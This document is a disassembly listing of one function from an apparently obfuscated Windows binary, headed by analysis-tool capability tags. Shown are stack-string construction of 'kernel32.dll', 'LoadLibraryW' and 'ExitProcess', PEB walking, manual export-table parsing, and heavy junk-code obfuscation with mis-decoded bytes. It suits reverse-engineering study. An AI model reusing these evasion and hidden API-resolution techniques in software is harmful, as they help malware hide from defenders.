Function at 0x40530a
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
add esp, 4
pop ecx
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f0]
cmp eax, 0xffffffff
jb 0x4050c9
push eax
push edx
add esp, 4
call 0x4050a7
add byte [ecx + eax*2 + 0x3e], al
cmp ecx, dword [edi + 0x38]
xor al, byte [ebx + esi + 0x4a]
add esp, 4
pop eax
push ebx
call 0x4050ba
add byte [eax + 0x3c], dl
inc eax
inc esi
inc edx
inc esp
dec eax
add esp, 4
sub ebx, 0x14788
pop ebx
jmp 0x4052f7
mov dword [ebp - 0xc88], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xac0], ecx
push ebx
xor ebx, 0x15f75
jmp 0x4050ef
jmp 0x4050f8
sub ebx, 0x9dcd
pop ebx
push edx
call 0x40510d
add byte [esi + 0x34], cl
xor al, 0x50
dec esi
cmp byte [ebx + eax*4], bh
les eax, [edx + ebx*2]
mov edx, dword [ebp - 0x15d0]
mov dword [ebp - 0xabc], edx
mov dword [ebp - 0xc8c], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15d0]
jne 0x405178
push ebx
xor ebx, 0xf625
sub ebx, 0x1114b
and ebx, 0x1460f
xor ebx, 0x12895
pop ebx
push edi
push eax
add esp, 4
sub edi, 0x7dc6
sub edi, 0xf724
sub edi, 0x254f
pop edi
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], ecx
jmp 0x4052a9
cmp dword [ebp - 0xc88], 0
jle 0x40529d
push ecx
xor ecx, 0x16362
or ecx, 0x9133
pop ecx
push ebx
push ebx
add esp, 4
call 0x4051a4
add byte [ecx + 0x3a], al
cmp eax, 0x834b4747
les eax, [ecx + eax*4]
repe scasb al, byte es:[edi]
outsb dx, byte [esi]
add byte [eax], al
jmp 0x4051b6
pop ebx
mov edx, dword [ebp - 0xac0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xabc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x405239
push esi
push edx
add esp, 4
or esi, 0xdd16
or esi, 0x10ff7
call 0x4051ec
add byte [ebx], dh
dec ebp
xor eax, dword [ebp + edi + 0x42]
inc ebp
dec esi
add esp, 4
call 0x4051fb
add byte [0x323b433a], dh
dec ecx
add esp, 4
pop esi
mov eax, dword [ebp - 0xac0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xabc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x405221
mov dword [ebp - 0x15a0], 1
jmp 0x40522b
mov dword [ebp - 0x15a0], 0xffffffff
mov ecx, dword [ebp - 0x15a0]
mov dword [ebp - 0xc8c], ecx
jmp 0x40529d
push esi
push edi
add esp, 4
add esi, 0x5af6
add esi, 0x3e23
and esi, 0x74a1
pop esi
push eax
push ecx
add esp, 4
jmp 0x40525e
add eax, 0x6ec2
xor eax, 0x15b7c
pop eax
mov edx, dword [ebp - 0xc88]
sub edx, 1
mov dword [ebp - 0xc88], edx
mov eax, dword [ebp - 0xac0]
add eax, 1
mov dword [ebp - 0xac0], eax
mov ecx, dword [ebp - 0xabc]
add ecx, 1
mov dword [ebp - 0xabc], ecx
jmp 0x405178
mov edx, dword [ebp - 0xc8c]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x4052f2
push edx
xor edx, 0x15dc8
call 0x4052c8
add byte [ecx + edi + 0x45], al
cmp byte [esi + edi + 0x49], al
xor edi, dword [esi]
add esp, 4
pop edx
push eax
push edi
add esp, 4
or eax, 0x1246c
and eax, 0xf208
sub eax, 0x7e6a
pop eax
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0xab8], eax
jmp 0x405333
jmp 0x405040
push ecx
and ecx, 0x7f7a
call 0x40530a
add byte [edx + 0x40], cl
aaa
dec ebx
dec ebx
xor al, 0x83
les eax, [ebx + ebp*8]
add eax, dword [esp + ecx*2 + 0x43]
or ecx, 0x7a25
pop ecx
push esi
jmp 0x40531f
jmp 0x405328
pop esi
mov dword [ebp - 0xab8], 0
push esi
and esi, 0xf9fd
pop esi
push edx
push ecx
add esp, 4
and edx, 0x7627
jmp 0x40534c
add edx, 0x12a18
pop edx
push edi
push edx
add esp, 4
add edi, 0x3b2c
add edi, 0x1169a
pop edi
mov byte [ebp - 0x878], 0x45
mov byte [ebp - 0x877], 0x78
mov byte [ebp - 0x876], 0x69
mov byte [ebp - 0x875], 0x74
mov byte [ebp - 0x874], 0x50
mov byte [ebp - 0x873], 0x72
mov byte [ebp - 0x872], 0x6f
mov byte [ebp - 0x871], 0x63
mov byte [ebp - 0x870], 0x65
mov byte [ebp - 0x86f], 0x73
mov byte [ebp - 0x86e], 0x73
mov byte [ebp - 0x86d], 0
push ebx
push eax
add esp, 4
or ebx, 0xc22e
jmp 0x4053ca
jmp 0x4053d0
pop ebx
push ecx
add ecx, 0xe40d
or ecx, 0xbcd9
and ecx, 0xe0c
and ecx, 0xd138
pop ecx
mov ecx, 0x6b
mov word [ebp - 0x1738], cx
mov edx, 0x65
mov word [ebp - 0x1736], dx
mov eax, 0x72
mov word [ebp - 0x1734], ax
mov ecx, 0x6e
mov word [ebp - 0x1732], cx
mov edx, 0x65
mov word [ebp - 0x1730], dx
mov eax, 0x6c
mov word [ebp - 0x172e], ax
mov ecx, 0x33
mov word [ebp - 0x172c], cx
mov edx, 0x32
mov word [ebp - 0x172a], dx
mov eax, 0x2e
mov word [ebp - 0x1728], ax
mov ecx, 0x64
mov word [ebp - 0x1726], cx
mov edx, 0x6c
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
xor ecx, ecx
mov word [ebp - 0x1720], cx
push edx
push edx
add esp, 4
and edx, 0x9808
or edx, 0x181ee
or edx, 0x8077
add edx, 0x15266
pop edx
push esi
push esi
add esp, 4
and esi, 0x7155
pop esi
push edi
sub edi, 0x138e7
pop edi
push edi
push esi
add esp, 4
jmp 0x4054c3
or edi, 0xc84e
pop edi
push esi
push edx
add esp, 4
sub esi, 0x13c8b
or esi, 0xf2c3
xor esi, 0x12c6
add esi, 0x37c8
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1954], edx
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1958], ecx
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x15d8], edx
push edi
push edi
add esp, 4
and edi, 0xa6cd
pop edi
push eax
push ecx
add esp, 4
and eax, 0xa27a
pop eax
push ecx
and ecx, 0x1612
call 0x40553e
add byte [edx + 0x33], al
aas
dec edx
dec ebx
inc ecx
inc edx
xor al, 0x83
les eax, [ecx + ebx*2]
cmp dword [ebp - 0x15d8], 0
jne 0x40555a
mov dword [ebp - 0x31c], 0
jmp 0x405816
mov eax, dword [ebp - 0x15d8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc98], edx
push edx
push edx
add esp, 4
call 0x40557e
add byte [edx], dh
xor cl, byte [ebx + 0x36]
dec ecx
dec esi
xor eax, 0x8104c483
ljmp 0x8e8
push eax
push edi
add esp, 4
call 0x40582a
add byte [ebp + 0x49], cl
push eax
dec ebx
cmp byte [edi], dh
push eax
dec edi
cmp byte [ebx - 0xf7efb3c], al
sub ebx, 0x57580000
sub edi, 0xf87d
add edi, 0x15090
or edi, 0x75cf
pop edi
cmp dword [ebp - 0x31c], 0
jne 0x406161
mov edx, 0x6b
mov word [ebp - 0x1774], dx
mov eax, 0x65
mov word [ebp - 0x1772], ax
mov ecx, 0x72
mov word [ebp - 0x1770], cx
mov edx, 0x6e
mov word [ebp - 0x176e], dx
mov eax, 0x65
mov word [ebp - 0x176c], ax
mov ecx, 0x6c
mov word [ebp - 0x176a], cx
mov edx, 0x33
mov word [ebp - 0x1768], dx
mov eax, 0x32
mov word [ebp - 0x1766], ax
mov ecx, 0x2e
mov word [ebp - 0x1764], cx
mov edx, 0x64
mov word [ebp - 0x1762], dx
mov eax, 0x6c
mov word [ebp - 0x1760], ax
mov ecx, 0x6c
mov word [ebp - 0x175e], cx
xor edx, edx
mov word [ebp - 0x175c], dx
push eax
push ebx
add esp, 4
call 0x4058ff
add byte [edi], dh
dec esp
inc ebp
cmp bh, byte [edi]
aas
add esp, 4
jmp 0x40590b
pop eax
push edi
push ecx
add esp, 4
jmp 0x405917
pop edi
push eax
xor eax, 0x2ec6
pop eax
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x6f
mov byte [ebp - 0x892], 0x61
mov byte [ebp - 0x891], 0x64
mov byte [ebp - 0x890], 0x4c
mov byte [ebp - 0x88f], 0x69
mov byte [ebp - 0x88e], 0x62
mov byte [ebp - 0x88d], 0x72
mov byte [ebp - 0x88c], 0x61
mov byte [ebp - 0x88b], 0x72
mov byte [ebp - 0x88a], 0x79
mov byte [ebp - 0x889], 0x57
mov byte [ebp - 0x888], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x195c], eax
mov ecx, dword [ebp - 0x195c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1960], edx
mov eax, dword [ebp - 0x1960]
mov dword [ebp - 0x15e4], eax
push eax
push esi
add esp, 4
sub eax, 0xb1a4
add eax, 0x1748c
call 0x4059c1
add byte [edx], bh
inc ebp
dec ebp
xor eax, 0x83404d3e
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
cmp al, 0x4e
aas
dec edx
aas
dec esp
add esp, 4
pop eax
cmp dword [ebp - 0x15e4], 0
jne 0x4059ec
mov dword [ebp - 0x750], 0
jmp 0x405ca8
mov ecx, dword [ebp - 0x15e4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca4], eax
push esi
push eax
add esp, 4
jmp 0x405a08
pop esi
push esi
push ebx
add esp, 4
or esi, 0x135b9
or esi, 0x1627a
pop esi
push edi
call 0x405a2c
add byte [edx + 0x43], al
cmp eax, 0x34484049
dec eax
cmp dword [esi - 0x7d], ecx
les eax, [edi + ebx*2]
cmp dword [ebp - 0xca4], 0
jne 0x405a48
mov dword [ebp - 0x750], 0
jmp 0x405ca8
mov ecx, dword [ebp - 0xca4]
mov dword [ebp - 0x508], ecx
push ecx
or ecx, 0xfa0b
pop ecx
push edx
push eax
add esp, 4
add edx, 0x44d0
call 0x405a76
add byte [ebp + 0x4b], cl
dec ebx
inc ebp
xor al, 0x39
xor cl, byte ds:[ecx - 0x7d]
les eax, [ecx + eax*4]
push ebx
or al, 1
add byte [ecx + 0x7c5e2], al
add byte [edx - 0x73], bl
xchg ebp, eax
mov eax, gs
invalid
push eax
push ebx
add esp, 4
call 0x405cbd
add byte [0x324c3f47], bh
cmp eax, 0x43503535
add esp, 4
jmp 0x405cc5
pop eax
push ebx
and ebx, 0xe5e9
or ebx, 0x6978
and ebx, 0x13e4b
pop ebx
cmp dword [ebp - 0x750], 0
jne 0x405d24
push edx
push ebx
add esp, 4
and edx, 0xc41a
or edx, 0x1fa9
or edx, 0x5912
pop edx
push ebx
or ebx, 0xad98
and ebx, 0x7b03
sub ebx, 0x13972
xor ebx, 0x16a87
pop ebx
mov dword [ebp - 0x79c], 0
jmp 0x40684b
push ecx
or ecx, 0x1f13
pop ecx
push esi
or esi, 0x76b3
pop esi
push edi
call 0x405d44
add byte [edx + 0x33], al
aas
dec ebx
push eax
dec edx
dec eax
cmp dword [ebx - 0x387efb3c], eax
xchg esp, eax
out 0, al
add byte [edi + 0x51], bl
add ecx, 0x12bea
pop ecx
mov eax, dword [ebp - 0x750]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x760], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f0], edx
cmp dword [ebp - 0x15f0], 0
jne 0x405d95
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x406086
mov ecx, dword [ebp - 0x15f0]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15f4], edx
jne 0x405dbd
mov eax, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], eax
jmp 0x406086
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15f4]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15f8], ecx
cmp dword [ebp - 0x15f8], 0
jne 0x405def
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
jmp 0x406086
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x15f8]
mov dword [ebp - 0x754], eax
jne 0x405e14
mov ecx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], ecx
jmp 0x406086
mov edx, dword [ebp - 0x754]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1964], eax
mov ecx, dword [ebp - 0x754]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1968], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x196c], ecx
mov dword [ebp - 0x758], 0
jmp 0x405e6e
mov edx, dword [ebp - 0x758]
add edx, 1
mov dword [ebp - 0x758], edx
mov eax, dword [ebp - 0x754]
mov ecx, dword [ebp - 0x758]
cmp ecx, dword [eax + 0x18]
jae 0x40607a
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1964]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x75c], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x1968]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x196c]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1970], eax
mov dword [ebp - 0x198], 0
jmp 0x405ede
mov ecx, dword [ebp - 0x198]
add ecx, 1
mov dword [ebp - 0x198], ecx
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
test eax, eax
je 0x405f90
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
test edx, edx
je 0x405f90
push eax
jmp 0x405f11
pop eax
push edx
push ecx
add esp, 4
call 0x405f25
add byte [ebx + 0x4e], al
cmp esi, dword [0x3a3e4f41]
add esp, 4
add edx, 0x109b
or edx, 0xf32b
jmp 0x405f3c
pop edx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
cmp ecx, eax
je 0x405f82
mov ecx, dword [ebp - 0x75c]
add ecx, dword [ebp - 0x198]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x198]
movsx ecx, byte [ebp + eax - 0x894]
cmp edx, ecx
jne 0x405f89
jmp 0x405ecf
jmp 0x405f90
push esi
call 0x405f9d
add byte [esi + 0x39], al
inc eax
dec edx
inc ebx
dec esi
add esp, 4
add esi, 0xd3d7
pop esi
push esi
push ebx
add esp, 4
or esi, 0x8db8
call 0x405fbe
add byte [ebx], dh
cmp byte [0x8350503e], dh
les eax, [esi + ebx*2]
mov edx, dword [ebp - 0x75c]
add edx, dword [ebp - 0x198]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x198]
movsx edx, byte [ebp + ecx - 0x894]
cmp eax, edx
jne 0x405fef
mov dword [ebp - 0xca8], 0
jmp 0x40605e
push ebx
push edx
add esp, 4
or ebx, 0xf69d
pop ebx
push esi
jmp 0x406002
or esi, 0x6b1f
xor esi, 0x10ac
xor esi, 0x925b
pop esi
push ebx
push edi
add esp, 4
and ebx, 0x14097
pop ebx
mov eax, dword [ebp - 0x75c]
add eax, dword [ebp - 0x198]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x198]
movsx eax, byte [ebp + edx - 0x894]
or eax, 0x20
cmp ecx, eax
jge 0x406054
mov dword [ebp - 0xca8], 0xffffffff
jmp 0x40605e
mov dword [ebp - 0xca8], 1
cmp dword [ebp - 0xca8], 0
jne 0x406075
mov ecx, dword [ebp - 0x1970]
mov dword [ebp - 0x3f4], ecx
jmp 0x406086
jmp 0x405e5f
mov edx, dword [ebp - 0x760]
mov dword [ebp - 0x3f4], edx
cmp dword [ebp - 0x3f4], 0
je 0x406161
push ebx
xor ebx, 0x10844
pop ebx
push ebx
push edi
add esp, 4
or ebx, 0x6381
xor ebx, 0x737e
add ebx, 0x13e2b
pop ebx
push ebx
push ebx
add esp, 4
sub ebx, 0xed65
sub ebx, 0x7d45
pop ebx
mov eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x1974], eax
push esi
push esi
add esp, 4
xor esi, 0x6996
add esi, 0x66f2
add esi, 0x7d58
pop eax
jge 0x4060e7
add byte [esi + 0x56], bl
push ecx
add esp, 4
add esi, 0x1043d
and esi, 0x5a9b
pop esi
push eax
and eax, 0x8f67
pop eax
mov ecx, dword [ebp - 0x1974]
mov dword [ebp - 0x1978], ecx
lea edx, [ebp - 0x1738]
push edx
call dword [ebp - 0x1978]
test eax, eax
jne 0x406161
push edi
push edx
add esp, 4
xor edi, 0xf431
pop edi
push ecx
push ebx
add esp, 4
jmp 0x406137
jmp 0x40613e
call 0x40614e
add byte [edi], dh
dec ecx
inc ecx
inc edi
cmp byte [0x3e373835], dh
add esp, 4
pop ecx
mov dword [ebp - 0x79c], 0
jmp 0x40684b
push ebx
push ecx
add esp, 4
and ebx, 0x14311
xor ebx, 0x112c0
add ebx, 0x17cad
pop ebx
push ecx
xor ecx, 0x15d4f
sub ecx, 0x994f
add ecx, 0x88d1
xor ecx, 0x112db
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15fc], eax
push esi
add esi, 0x109d8
or esi, 0xcbf5
pop esi
push edx
push eax
add esp, 4
sub edx, 0xe1c9
or edx, 0xacca
and edx, 0x113a
pop edx
push esi
push ecx
add esp, 4
and esi, 0xcae6
pop esi
cmp dword [ebp - 0x15fc], 0
jne 0x406204
mov dword [ebp - 0x31c], 0
jmp 0x4064ab
mov ecx, dword [ebp - 0x15fc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xcb4], eax
push edx
call 0x406224
add byte [edi + 0x49504440], dh
dec edx
add esp, 4
and edx, 0x158fa
add edx, 0x181b7
pop edx
push edi
or edi, 0x11a79
jns 0x406253
add dword [eax], eax
pop edi
push ecx
push eax
add esp, 4
add ecx, 0xd7bc
pop ecx
cmp dword [ebp - 0xcb4], 0
jne 0x406260
mov dword [ebp - 0x31c], 0
jmp 0x4064ab
mov ecx, dword [ebp - 0xcb4]
mov dword [ebp - 0x50c], ecx
push eax
xor eax, 0x43c5
add eax, 0xfcbf
add eax, 0x168c5
and eax, 0xfd2a
pop eax
push edx
push edx
add esp, 4
xor edx, 0x16cde
or edx, 0x11473
sub edx, 0x3464
pop edx
lea edx, [ebp - 0x1738]
mov dword [ebp - 0xcb0], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xcac], ecx
xor edx, edx
mov word [ebp - 0x218], dx
xor eax, eax
mov word [ebp - 0x34], ax
push eax
push eax
add esp, 4
or eax, 0x100c4
sub eax, 0xb63c
pop eax
push ebx
push edi
add esp, 4
or ebx, 0x9581
or ebx, 0x4a64
xor ebx, 0x15f7b
jmp 0x4062f9
pop ebx
mov ecx, dword [ebp - 0xcac]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xcac]
add eax, 2
mov dword [ebp - 0xcac], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x218], cx
mov edx, dword [ebp - 0xcb0]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xcb0]
add ecx, 2
mov dword [ebp - 0xcb0], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x34], dx
push edx
xor edx, 0x6a3a
pop edx
push eax
push edi
add esp, 4
sub eax, 0x3233
pop eax
push edi
push esi
add esp, 4
and edi, 0x17d41
jmp 0x406376
and edi, 0x10195
sub edi, 0x1514f
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x4063a0
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x1604], ecx
jmp 0x4063fa
movzx eax, word [ebp - 0x218]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x4062c8
movzx edx, word [ebp - 0x218]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x4062c8
movzx ecx, word [ebp - 0x218]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x4063e4
mov dword [ebp - 0x1600], 0xffffffff
jmp 0x4063ee
mov dword [ebp - 0x1600], 1
mov eax, dword [ebp - 0x1600]
mov dword [ebp - 0x1604], eax
cmp dword [ebp - 0x1604], 0
jne 0x406443
push ebx
xor ebx, 0x574b
pop ebx
push eax
sub eax, 0x8ce5
pop eax
push edi
push ebx
add esp, 4
jmp 0x40641e
pop edi
push ebx
jmp 0x406428
or ebx, 0x65f9
xor ebx, 0x9a85
pop ebx
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x31c], ecx
jmp 0x4064ab
push eax
and eax, 0xc456
pop eax
push edi
push edx
add esp, 4
call 0x40645f
add byte [ecx + 0x4c], cl
dec eax
dec eax
aas
dec edi
aas
inc esp
add esp, 4
pop edi
push edx
push edx
add esp, 4
sub edx, 0xd475
and edx, 0x10aed
pop edx
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xcb4]
je 0x4064a1
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x40626c
mov dword [ebp - 0x31c], 0
push ebx
jmp 0x4064b2
xor ebx, 0x5dbe
or ebx, 0xb81c
pop ebx
push ebx
sub ebx, 0xc7de
jmp 0x4064cc
pop ebx
push edi
jmp 0x4064d6
jmp 0x4064dc
pop edi
mov eax, dword [ebp - 0x31c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x324], ecx
push edx
or edx, 0x633b
add edx, 0x4f83
and edx, 0x1476
pop edx
push edx
push edx
add esp, 4
and edx, 0x50dd
sub edx, 0xd478
pop edx
push ecx
push edi
add esp, 4
or ecx, 0xa4c3
pop ecx
mov dword [ebp - 0x770], 0
mov edx, dword [ebp - 0x324]
mov dword [ebp - 0x1608], edx
cmp dword [ebp - 0x1608], 0
jne 0x40654e
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x40683f
mov ecx, dword [ebp - 0x1608]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x160c], edx
jne 0x406576
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x510], eax
jmp 0x40683f
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x160c]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1610], ecx
cmp dword [ebp - 0x1610], 0
jne 0x4065a8
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
jmp 0x40683f
mov eax, dword [ebp - 0x324]
add eax, dword [ebp - 0x1610]
mov dword [ebp - 0x764], eax
jne 0x4065cd
mov ecx, dword [ebp - 0x770]
mov dword [ebp - 0x510], ecx
jmp 0x40683f
mov edx, dword [ebp - 0x764]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x764]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1d10], ecx
mov dword [ebp - 0x768], 0
jmp 0x406627
mov edx, dword [ebp - 0x768]
add edx, 1
mov dword [ebp - 0x768], edx
mov eax, dword [ebp - 0x764]
mov ecx, dword [ebp - 0x768]
cmp ecx, dword [eax + 0x18]
jae 0x406833
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1984]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x768]
mov eax, dword [ebp - 0x1988]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1d10]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x198c], eax
mov dword [ebp - 0x19c], 0
jmp 0x406697
mov ecx, dword [ebp - 0x19c]
add ecx, 1
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
test eax, eax
je 0x406749
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
test edx, edx
je 0x406749
push edi
xor edi, 0xfbe3
call 0x4066da
add byte [ecx], bh
xor al, 0x37
dec esp
dec edi
dec eax
cmp byte [edx + 0x4c], al
add esp, 4
pop edi
push eax
push edi
add esp, 4
add eax, 0x12844
jmp 0x4066f0
jmp 0x4066f5
pop eax
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
cmp ecx, eax
je 0x40673b
mov ecx, dword [ebp - 0x76c]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x878]
cmp edx, ecx
jne 0x406742
jmp 0x406688
jmp 0x406749
push eax
push esi
add esp, 4
xor eax, 0x18419
pop eax
push edi
push eax
add esp, 4
or edi, 0x1271c
and edi, 0xd91b
xor edi, 0x11156
pop edi
push esi
and esi, 0x2c28
or esi, 0x40ca
pop esi
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x878]
cmp eax, edx
jne 0x4067a8
mov dword [ebp - 0xcb8], 0
jmp 0x406817
push edx
push eax
add esp, 4
sub edx, 0xdc6f
or edx, 0x15f39
pop edx
push edx
call 0x4067ca
add byte [ecx + 0x3d], al
inc ebx
inc ecx
xor eax, 0x46384c3a
add esp, 4
and edx, 0x10004
sub edx, 0x8887
pop edx
mov eax, dword [ebp - 0x76c]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x878]
or eax, 0x20
cmp ecx, eax
jge 0x40680d
mov dword [ebp - 0xcb8], 0xffffffff
jmp 0x406817
mov dword [ebp - 0xcb8], 1
cmp dword [ebp - 0xcb8], 0
jne 0x40682e
mov ecx, dword [ebp - 0x198c]
mov dword [ebp - 0x510], ecx
jmp 0x40683f
jmp 0x406618
mov edx, dword [ebp - 0x770]
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x510]
mov dword [ebp - 0x79c], eax
push edi
and edi, 0xcf27
add edi, 0x11edb
add edi, 0x15f7f
pop edi
push edi
push ecx
add esp, 4
and edi, 0x6741
add edi, 0x51cb
add edi, 0x127f5
and edi, 0x104a2
pop edi
mov ecx, dword [ebp - 0x3e8]
add ecx, 0xe
mov dword [ebp - 0x19dc], ecx
push ecx
push edi
add esp, 4
add ecx, 0x12726
jmp 0x4068a0
jmp 0x4068a9
or ecx, 0x133d
pop ecx
push ebx
and ebx, 0xdd70
sub ebx, 0x131e
pop ebx
cmp dword [ebp - 0x3e8], 0
je 0x4068d0
cmp dword [ebp - 0xab8], 0
jne 0x406916
push edx
add edx, 0x15f08
xor edx, 0x9c03
add edx, 0x13063
pop edx
push ecx
push edx
add esp, 4
xor ecx, 0x4ee4
jmp 0x4068f5
xor ecx, 0x126c8
xor ecx, 0xe100
pop ecx
mov edx, dword [ebp - 0x79c]
mov dword [ebp - 0x1990], edx
push 0
call dword [ebp - 0x1990]
mov dword [ebp - 0x20a8], 0xa
push ecx
push edx
add esp, 4
add ecx, 0x12b9e
add ecx, 0xc870
and ecx, 0x16290
pop ecx
push ecx
xor ecx, 0xaafb
xor ecx, 0x85a0
xor ecx, 0x10e8b
jmp 0x406951
pop ecx
mov eax, dword [ebp - 0x3e8]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3ae], cl
mov edx, dword [ebp - 0xab8]
sub edx, dword [ebp - 0x3e8]
mov dword [ebp - 0x1694], edx
mov dword [ebp - 0xce8], 0
push ebx
push eax
add esp, 4
call 0x406992
add byte [ecx + 0x50], cl
cmp byte [edx + 0x4a], al
dec edx
inc edi
cmp eax, 0xc483503c
add al, 0x81
jmp 0x4069eb
invalid